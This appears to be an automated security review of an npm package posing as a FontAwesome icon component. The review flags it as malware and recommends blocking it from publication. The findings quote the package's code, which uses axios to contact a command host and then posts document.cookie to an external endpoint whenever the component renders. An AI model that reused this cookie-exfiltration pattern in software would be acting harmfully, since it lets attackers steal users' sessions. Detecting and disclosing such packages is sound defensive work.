## Security analysis

### Published attack-surface review

- **Summary:** Rendering the exported component triggers an HTTP request and posts browser cookies to a remote endpoint. This is concrete credential/session-data exfiltration.

- **Trigger:** Import and render FontAwesomeIcon.

- **Impact:** The package can exfiltrate browser session cookies.

- **Evidence paths:** package.json, index.jsx

- **Review source:** ai\_review

- **Reviewed:** 2026-07-23T17:21:15.656Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Axios GET followed by POST of document.cookie.

- **Attack narrative:** The component executes Axios requests during render. After a GET to command.control, it POSTs document.cookie to commad.control/404, exposing browser session credentials to an external receiver.

- **Rationale:** Direct inspection confirms default runtime cookie exfiltration unrelated to icon rendering. No install hook is needed for this concrete malicious behavior.

- **Files touched:** package.json, index.jsx

- **Network endpoints:** http://command.control, http://commad.control/404

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** index.jsx sends document.cookie to http://commad.control/404., index.jsx fetches http://command.control before exfiltration., Network calls run whenever the exported React component renders., Misleading “nothing harmful” comment accompanies the behavior.

- **Evidence against:** package.json has no lifecycle scripts., No other package files were present.

## Public findings

- **Path:** index.jsx
- **Public source:** [View source](<https://unpkg.com/react-fontawesome-icons@1.0.6/index.jsx>)

Browser cookie sent to a fixed external endpoint in index.jsx:
const c2c = `http://commad.control/404`;
axios.get('http://command.control').then(() => {
axios.post(c2c, { stat: {}, c: document.cookie }).then(() => {
```

### 4. Low: Url Strings
